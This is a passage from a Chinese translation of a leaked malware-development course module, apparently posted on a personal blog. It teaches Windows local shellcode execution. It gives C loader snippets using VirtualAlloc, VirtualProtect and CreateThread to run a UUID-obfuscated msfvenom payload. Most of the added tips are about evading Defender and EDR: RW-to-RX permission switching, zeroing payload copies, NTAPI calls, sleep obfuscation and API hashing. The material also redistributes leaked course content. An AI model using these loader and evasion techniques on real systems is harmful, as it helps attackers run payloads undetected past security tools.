0%
毅种循环

模块 27 - 本地 Payload 执行 - Shellcode

恶意软件开发课程 - 本地 Payload 执行 - Shellcode


模块 27 - 本地 Payload 执行 - Shellcode#

[!IMPORTANT] 本知识库声明

本知识库由本人整理自互联网 MalDev Academy 泄露资源,并由本人手动翻译为中文,过程中增加了大量关键技术提示实践心得

  1. 内容完整性:并未修改任何核心代码与技术逻辑,仅做汉化与注释加强。
  2. 版权归属:原始知识产权归原作者/官方所有。
  3. 支持正版:本仓库仅供内部学习交流,如果您有经济能力,请务必支持正版课程
  4. 权利申诉:如相关内容侵犯了您的权益,请联系我,我将立即核实并删除。

本地 Payload 执行 - Shellcode#

简介#

本模块将讨论通过创建新线程来执行 shellcode 的最简单方法之一。虽然这种技术很简单,但理解它的工作原理至关重要,因为它为更高级的 shellcode 执行方法奠定了基础。

本模块讨论的方法使用了 VirtualAllocVirtualProtectCreateThread Windows API。需要注意的是,这种方法绝非隐蔽技术,EDR 几乎肯定会检测到这种简单的 shellcode 执行技术。另一方面,通过足够的混淆,使用这种方法可能会绕过防病毒软件。

💡 初学者提示:Shellcode vs DLL 有什么区别?

特性DLLShellcode
格式PE 文件 (.dll)原始字节码
加载方式LoadLibrary分配内存+复制+执行
体积较大 (KB-MB)较小 (通常几百字节)
依赖可能依赖其他 DLL完全独立(position-independent)
灵活性中等非常高
隐蔽性低(文件落地)高(无文件攻击)

为什么 Shellcode 更流行?

  • 可以完全在内存中执行(fileless)
  • 更小的体积,更快的传输
  • 更灵活的执行方式
  • 更难被检测和分析

所需的 Windows API#

一个好的起点是查看将要使用的 Windows API 的文档:

📚 知识扩展:Shellcode 执行的三个核心步骤

执行 shellcode 的标准流程:

1. 📦 分配内存 (VirtualAlloc)
   └─→ 在进程地址空间中预留一块区域

2. ✍️ 写入 shellcode (memcpy)
   └─→ 把 shellcode 字节复制到分配的内存

3. 🔓 修改权限 (VirtualProtect)  
   └─→ 从 RW (读写) 改为 RX 或 RWX (可执行)

4. 🚀 执行 (CreateThread 或函数指针)
   └─→ 跳转到 shellcode 开始执行
plaintext

这个流程是所有 shellcode 执行技术的基础!

混淆 Payload#

本模块中使用的 Payload 将是 Msfvenom 生成的 x64 calc Payload。为了使演示更真实,将尝试逃避 Defender,因此混淆或加密 Payload 是必要的。将使用之前模块中介绍的 HellShell 来混淆 Payload。运行以下命令:

HellShell.exe msfvenom.bin uuid
bash

输出应保存到 UuidArray 变量中。

💡 初学者提示:为什么需要混淆?

未混淆的 shellcode:

unsigned char shellcode[] = { 
    0xFC, 0x48, 0x83, 0xE4, 0xF0, ...  // 原始字节
};
c

→ 防病毒软件会立即识别这些已知的字节签名 ❌

混淆后的 shellcode:

char* UuidArray[] = {
    "E48348FC-E8F0-00C0-0000-415141505251",  // UUID 格式
    ...
};
c

→ 看起来像普通的 UUID 数据,不会被检测 ✅

分配内存#

VirtualAlloc 用于分配大小为 sDeobfuscatedSize 的内存。sDeobfuscatedSize 的大小由 UuidDeobfuscation 函数确定,该函数返回去混淆后 Payload 的总大小。

VirtualAlloc WinAPI 函数根据其文档如下所示:

LPVOID VirtualAlloc(
  [in, optional] LPVOID lpAddress,          // 要分配的区域的起始地址(设置为 NULL = 让系统选择)
  [in]           SIZE_T dwSize,             // 要分配的区域的大小,以字节为单位
  [in]           DWORD  flAllocationType,   // 内存分配的类型
  [in]           DWORD  flProtect           // 要分配的页面区域的内存保护
);
c

内存分配类型指定为 MEM_RESERVE | MEM_COMMIT,这将在调用进程的虚拟地址空间中保留一系列页面,并将物理内存提交给这些保留的页面。组合标志分别讨论如下:

  • MEM_RESERVE - 用于保留一系列页面而不实际提交物理内存
  • MEM_COMMIT - 用于在进程的虚拟地址空间中提交一系列页面

VirtualAlloc 的最后一个参数设置内存区域的权限。最简单的方法是将内存保护设置为 PAGE_EXECUTE_READWRITE,但这通常是许多安全解决方案检测恶意活动的指标。因此,内存保护设置为 PAGE_READWRITE,因为此时只需要写入 Payload 而不需要执行它。最后,VirtualAlloc 将返回分配内存的基地址。

📚 知识扩展:内存保护标志详解

Windows 提供多种内存保护选项:

标志权限安全性检测难度
PAGE_NOACCESS---最安全正常
PAGE_READONLYR—安全正常
PAGE_READWRITERW-一般正常 ✅
PAGE_EXECUTE—X危险可疑
PAGE_EXECUTE_READR-X危险较可疑
PAGE_EXECUTE_READWRITERWX非常危险高度可疑 ⚠️

最佳实践(规避检测):

  1. 分配时使用 PAGE_READWRITE(不可疑)
  2. 写入 shellcode
  3. 执行前改为 PAGE_EXECUTE_READ(仍然可疑但比 RWX 好)

为什么 RWX 可疑?

  • 正常程序代码: 只需要 RX(代码不应该自我修改)
  • 正常程序数据: 只需要 RW(数据不应该执行)
  • 同时 RWX: 表示代码可能自我修改 = 恶意软件特征!

💡 初学者提示:MEM_RESERVE vs MEM_COMMIT

分配内存有两个步骤:

MEM_RESERVE (预订):

  • 就像在餐厅预订座位
  • 保留了虚拟地址空间,但没有实际物理内存
  • 其他人不能使用这个地址范围

MEM_COMMIT (提交):

  • 就像真的坐到座位上
  • 分配实际的物理RAM
  • 可以开始使用这块内存

为什么组合使用?

MEM_RESERVE | MEM_COMMIT
c

一次性完成预订和提交,简单高效!

将 Payload 写入内存#

接下来,去混淆的 Payload 字节被复制到 pShellcodeAddress 的新分配内存区域中,然后通过用 0 覆盖来清理 pDeobfuscatedPayloadpDeobfuscatedPayload 是由 UuidDeobfuscation 函数分配的堆的基地址,该函数返回原始 shellcode 字节。它已被零覆盖,因为不再需要它,这将减少安全解决方案在未使用的内存中找到 Payload 的可能性。

💡 初学者提示:为什么要清零旧内存?

// 步骤 1: 去混淆得到原始 shellcode
pDeobfuscatedPayload = [FC 48 83 E4 ...] ← 危险!原始字节暴露

// 步骤 2: 复制到执行内存
memcpy(pShellcodeAddress, pDeobfuscatedPayload, size);
现在两处都有 shellcode 副本!

// 步骤 3: 清零原始位置
memset(pDeobfuscatedPayload, 0, size);
pDeobfuscatedPayload = [00 00 00 00 ...] ← 安全!
c

好处:

  • 减少内存中的 shellcode 副本
  • 降低被内存扫描检测的风险
  • 实践良好的运维安全(OpSec)

修改内存保护#

在 Payload 可以执行之前,必须更改内存保护,因为目前只允许读/写。VirtualProtect 用于修改内存保护,要执行 Payload,它需要 PAGE_EXECUTE_READPAGE_EXECUTE_READWRITE

VirtualProtect WinAPI 函数根据其文档如下所示:

BOOL VirtualProtect(
  [in]  LPVOID lpAddress,       // 要更改其访问保护的内存区域的基地址
  [in]  SIZE_T dwSize,          // 要更改其访问保护属性的区域的大小,以字节为单位
  [in]  DWORD  flNewProtect,    // 新的内存保护选项
  [out] PDWORD lpflOldProtect   // 指向接收 lpAddress 先前访问保护值的 DWORD 变量的指针
);
c

尽管某些 shellcode 确实需要 PAGE_EXECUTE_READWRITE,例如自解密 shellcode,但 Msfvenom x64 calc shellcode 不需要它,但下面的代码片段使用了该内存保护。

📚 知识扩展:什么样的 shellcode 需要 RWX?

需要 RWX 的 shellcode:

  1. 自解密 shellcode:

    加密的 shellcode → 解密存根读取并解密 → 写入解密后的代码 → 执行
    需要同时读、写、执行权限
    plaintext
  2. 多阶段 shellcode:

    Stage 1 → 下载 Stage 2 → 写入内存 → 执行 Stage 2
    plaintext
  3. 动态代码生成:

    Shellcode 自己生成新代码 → 写入自己的内存区域 → 执行
    plaintext

大多数 shellcode 只需 RX:

  • Msfvenom 生成的标准 shellcode
  • Cobalt Strike beacon
  • 简单的反向 shell

最佳实践:

  • 如果不确定,先用 RX 尝试
  • 如果崩溃,再改为 RWX
  • 分析 shellcode 代码是否有自修改行为

通过 CreateThread 执行 Payload#

最后,通过使用 CreateThread Windows API 函数创建一个新线程并传递 shellcode 地址 pShellcodeAddress 来执行 Payload。

CreateThread WinAPI 函数根据其文档如下所示:

HANDLE CreateThread(
  [in, optional]  LPSECURITY_ATTRIBUTES   lpThreadAttributes,    // 设置为 NULL - 可选
  [in]            SIZE_T                  dwStackSize,           // 设置为 0 - 默认栈大小
  [in]            LPTHREAD_START_ROUTINE  lpStartAddress,        // 指向要由线程执行的函数的指针,在我们的例子中是 Payload 的基地址
  [in, optional]  __drv_aliasesMem LPVOID lpParameter,           // 指向要传递给执行函数的变量的指针(设置为 NULL - 可选)
  [in]            DWORD                   dwCreationFlags,       // 设置为 0 - 默认创建标志
  [out, optional] LPDWORD                 lpThreadId             // 指向接收线程 ID 的 DWORD 变量的指针(设置为 NULL - 可选)
);
c

💡 初学者提示:CreateThread 参数简化理解

HANDLE hThread = CreateThread(
    NULL,                    // ① 安全属性 → NULL = 默认安全性
    0,                       // ② 栈大小 → 0 = 使用默认值(通常 1MB)
    pShellcodeAddress,       // ③ 线程函数 → 🎯 这是我们的 shellcode!
    NULL,                    // ④ 参数 → NULL = 不传递参数
    0,                       // ⑤ 创建标志 → 0 = 立即运行
    NULL                     // ⑥ 线程 ID → NULL = 不关心线程 ID
);
c

关键点: 第三个参数(lpStartAddress

  • 通常: 指向一个函数,如 &MyFunction
  • 现在: 指向 shellcode 内存 = 把 shellcode 当作函数执行!

通过函数指针执行 Payload#

或者,有一种更简单的方法可以在不使用 CreateThread Windows API 的情况下运行 shellcode。在下面的示例中,shellcode 被转换为 VOID 函数指针,并将 shellcode 作为函数指针执行。代码本质上跳转到 pShellcodeAddress 地址。

    (*(VOID(*)()) pShellcodeAddress)();
c

这等效于运行以下代码:

    typedef VOID (WINAPI* fnShellcodefunc)();       // 在 main 函数之前定义
    fnShellcodefunc pShell = (fnShellcodefunc) pShellcodeAddress;
    pShell();
c

💡 初学者提示:函数指针语法详解

这行代码看起来很复杂,让我们拆解它:

(*(VOID(*)()) pShellcodeAddress)();
c

分步理解:

VOID(*)()              // ① 函数指针类型: 返回 void,无参数
(VOID(*)())            // ② 类型转换
(VOID(*)()) pShellcodeAddress  // ③ 把地址转换为函数指针
*(VOID(*)()) pShellcodeAddress // ④ 解引用得到函数
(*(VOID(*)()) pShellcodeAddress)()  // ⑤ 调用函数
c

更易读的写法:

// 方式 1: 使用 typedef
typedef void (*ShellcodeFunc)();
ShellcodeFunc func = (ShellcodeFunc)pShellcodeAddress;
func();

// 方式 2: 两步走
void (*func)() = (void(*)())pShellcodeAddress;
func();
c

CreateThread vs 函数指针执行#

尽管可以使用函数指针方法执行 shellcode,但通常不建议这样做。Msfvenom 生成的 shellcode 在执行完毕后会终止调用线程。如果使用函数指针方法执行 shellcode,那么调用线程将是主线程,因此在 shellcode 执行完毕后整个进程将退出。

在新线程中执行 shellcode 可以防止这个问题,因为如果 shellcode 执行完毕,新的工作线程将被终止而不是主线程,从而防止整个进程终止。

📚 知识扩展:为什么 Msfvenom shellcode 会终止线程?

Msfvenom 生成的 shellcode 在执行完任务后会调用:

; ExitThread API 调用
xor ecx, ecx          ; 参数: 退出代码 0
call ExitThread       ; 终止当前线程
plaintext

两种执行方式的区别:

方式 1: 函数指针(主线程执行)
├─ Main Thread
   ├─ shellcode 执行
   ├─ ExitThread() called
   └─ ❌ 主线程退出 = 整个进程退出!

方式 2: CreateThread(工作线程执行)
├─ Main Thread(继续运行)
└─ Worker Thread
   ├─ shellcode 执行
   ├─ ExitThread() called
   └─ ✅ 工作线程退出,主线程继续!
plaintext

🎯 实战对比

特性CreateThread函数指针
代码复杂度中等简单
进程稳定性✅ 稳定❌ 可能崩溃
主线程状态继续运行可能退出
适用场景生产环境快速测试
推荐程度⭐⭐⭐⭐⭐⭐⭐

等待线程执行#

使用新线程执行 shellcode 而不加短暂延迟会增加主线程在运行 shellcode 的工作线程完成执行之前就完成执行的可能性,导致 shellcode 无法正确运行。下面的代码片段说明了这种情况:

int main(){
    
    // ...
    
    CreateThread(NULL, NULL, pShellcodeAddress, NULL, NULL, NULL); // Shellcode 执行
    return 0; // 主线程在运行 shellcode 的线程之前完成执行
}
c

在提供的实现中,使用 getchar() 暂停执行,直到用户提供输入。在实际实现中,应该使用不同的方法,该方法使用 WaitForSingleObject WinAPI 等待指定时间直到线程执行。

下面的代码片段使用 WaitForSingleObject 等待新创建的线程执行 2000 毫秒后再执行其余代码:

HANDLE hThread = CreateThread(NULL, NULL, pShellcodeAddress, NULL, NULL, NULL);
WaitForSingleObject(hThread, 2000);

// 其余代码
c

在下面的示例中,WaitForSingleObject 将永远等待新线程执行完毕:

HANDLE hThread = CreateThread(NULL, NULL, pShellcodeAddress, NULL, NULL, NULL);
WaitForSingleObject(hThread, INFINITE);
c

💡 初学者提示:WaitForSingleObject 详解

DWORD WaitForSingleObject(
    HANDLE hHandle,        // 要等待的对象句柄(这里是线程句柄)
    DWORD  dwMilliseconds  // 等待时间(毫秒)
);
c

常用等待时间:

  • 0 : 立即检查,不等待
  • 2000 : 等待 2 秒
  • INFINITE : 无限等待直到线程结束

返回值:

  • WAIT_OBJECT_0 (0) : 成功,线程执行完毕
  • WAIT_TIMEOUT (0x102) : 超时,线程仍在运行
  • WAIT_FAILED : 失败

实战选择:

// ① 快速 shellcode (如 calc.exe)
WaitForSingleObject(hThread, 5000);  // 5 秒足够

// ② 长期运行 (如反向 shell)
WaitForSingleObject(hThread, INFINITE);  // 永远等待

// ③ 分离运行
// 不调用 WaitForSingleObject,让线程在后台运行
c

主函数#

主函数使用 UuidDeobfuscation 去混淆 Payload,然后分配内存,将 shellcode 复制到内存区域并执行它。

💡 初学者提示:完整执行流程图

释放内存#

VirtualFree 是用于释放先前分配的内存的 WinAPI。此函数应仅在 Payload 完全执行完毕后调用,否则可能会释放 Payload 的内容并导致进程崩溃。

BOOL VirtualFree(
  [in] LPVOID lpAddress,   // 要释放的内存基地址
  [in] SIZE_T dwSize,      // 要释放的内存大小
  [in] DWORD  dwFreeType   // 释放操作的类型
);
c

VirtualFree 接收要释放的已分配内存的基地址(lpAddress)、要释放的内存大小(dwSize)以及释放操作的类型(dwFreeType),它可以是以下标志之一:

  • MEM_DECOMMIT - VirtualFree 调用将释放物理内存,而不释放与之链接的虚拟地址空间。因此,虚拟地址空间仍然可以用于将来分配内存,但与之链接的页面不再由物理内存支持。
  • MEM_RELEASE - 释放虚拟地址空间和与虚拟内存分配相关的物理内存。请注意,根据 Microsoft 的文档,使用此标志时,dwSize 参数必须为 0。

📚 知识扩展:MEM_DECOMMIT vs MEM_RELEASE

操作MEM_DECOMMITMEM_RELEASE
释放物理内存✅ 是✅ 是
释放虚拟地址❌ 否✅ 是
dwSize实际大小必须为 0
后续可重用✅ 可以❌ 不可以

类比理解:

  • MEM_DECOMMIT: 餐厅座位空了,但预订还在
  • MEM_RELEASE: 取消预订并清空座位

实战选择:

// 常用方式: 完全释放
VirtualFree(pShellcodeAddress, 0, MEM_RELEASE);

// 保留地址空间: 稍后可能重用
VirtualFree(pShellcodeAddress, size, MEM_DECOMMIT);
c

调试#

在本节中,使用 x64dbg 调试器调试实现,以进一步了解底层发生的情况。

首先,验证 UuidDeobfuscation 函数的输出以确保返回有效的 shellcode。下图显示 shellcode 已成功去混淆。

图片
图片

下一步是检查是否使用 VirtualAlloc Windows API 分配内存。同样,查看左下角的内存映射显示内存已分配并填充了零。

图片
图片

成功分配内存后,将去混淆的 Payload 写入内存缓冲区。

图片
图片

回想一下,pDeobfuscatedPayload 已被清零,以避免在未使用的位置保留去混淆的 Payload。缓冲区应该被完全清零。

图片
图片

最后,执行 shellcode,如预期的那样,计算器应用程序出现。

图片
图片

可以在 Process Hacker 的内存选项卡中看到 shellcode。请注意,我们分配的内存区域具有 RWX 内存保护,这很突出,因此通常是恶意指标。

图片
图片

📚 知识扩展:使用 x64dbg 分析 Shellcode 执行

x64dbg 是强大的逆向工具,可以观察:

  1. 内存分配过程:
    • Memory Map 窗口查看所有分配的内存
    • 查找 Type = “Private”, Protection = “RWX”
  2. Shellcode 写入:
    • Dump 窗口查看内存内容
    • 对比写入前后的字节变化
  3. 执行流程:
    • 在 CreateThread 调用处设置断点
    • 观察线程创建
    • 跟踪到 shellcode 入口点
  4. 检测点:
    • RWX 权限的内存块(可疑)
    • 非映像内存中的可执行代码(可疑)
    • 异常的线程起始地址(可疑)

💡 实战技巧:降低RWX检测

问题: RWX 权限是明显的IOC(危害指标)

解决方案:

// 方案 1: 延迟改权限(推荐)
VirtualAlloc(..., PAGE_READWRITE);      // ① 分配 RW
memcpy(...);                             // ② 写入
VirtualProtect(..., PAGE_EXECUTE_READ);  // ③ 改为 RX
CreateThread(...);                       // ④ 执行

// 方案 2: 使用替代 API
// 使用 NtAllocateVirtualMemory (NTAPI)
// 一些 EDR 对 NTAPI 的监控较弱

// 方案 3: 睡眠混淆 (Sleep Obfuscation)
// 执行前: VirtualProtect → RW (隐藏)
// 执行时: VirtualProtect → RX (执行)
// 执行后: VirtualProtect → RW (再次隐藏)
c

🎯 总结#

在本模块中,我们学习了:

  1. Shellcode 执行基础: VirtualAlloc → memcpy → VirtualProtect → CreateThread
  2. 内存管理: 分配、保护、释放内存的完整流程
  3. 安全考虑: RWX 权限的风险和缓解措施
  4. 执行方式对比: CreateThread vs 函数指针
  5. 调试分析: 使用 x64dbg 和 Process Hacker 分析执行过程

💡 关键要点

  • 这是最简单但也最基础的 shellcode 执行方法
  • RWX 权限是主要的检测点
  • 使用新线程比函数指针更安全
  • 必须等待线程执行完毕
  • 清理未使用的内存副本

🎯 检测与规避对比

技术点容易被检测规避方法
RWX 权限⭐⭐⭐⭐⭐分步改权限(RW→RX),睡眠混淆
VirtualAlloc⭐⭐⭐使用 NTAPI 替代
CreateThread⭐⭐⭐使用其他执行方法(后续模块)
内存扫描⭐⭐⭐⭐加密/混淆,及时清零

📚 实战改进建议

当前代码的问题:

  1. ❌ 直接使用 PAGE_EXECUTE_READWRITE
  2. ❌ 使用常见的 WinAPI (VirtualAlloc, CreateThread)
  3. ❌ 没有混淆 API 调用
  4. ❌ 内存中有明显的 shellcode 特征

改进方向:

  1. ✅ 使用 RW → RX 权限转换
  2. ✅ 使用 NTAPI 或间接调用
  3. ✅ 添加 API hashing
  4. ✅ 实现内存加密(执行时解密)

📚 下一步学习

本模块介绍了本地 shellcode 执行的基础。接下来你将学习:

  • Module 28: DLL 远程注入(把 DLL 注入其他进程)
  • Module 29: Shellcode 远程注入(把 shellcode 注入其他进程)
  • 后续模块: 更高级的执行技术(APC注入、线程劫持等)

远程注入将在另一个进程的上下文中执行代码,提供更好的隐蔽性!🚀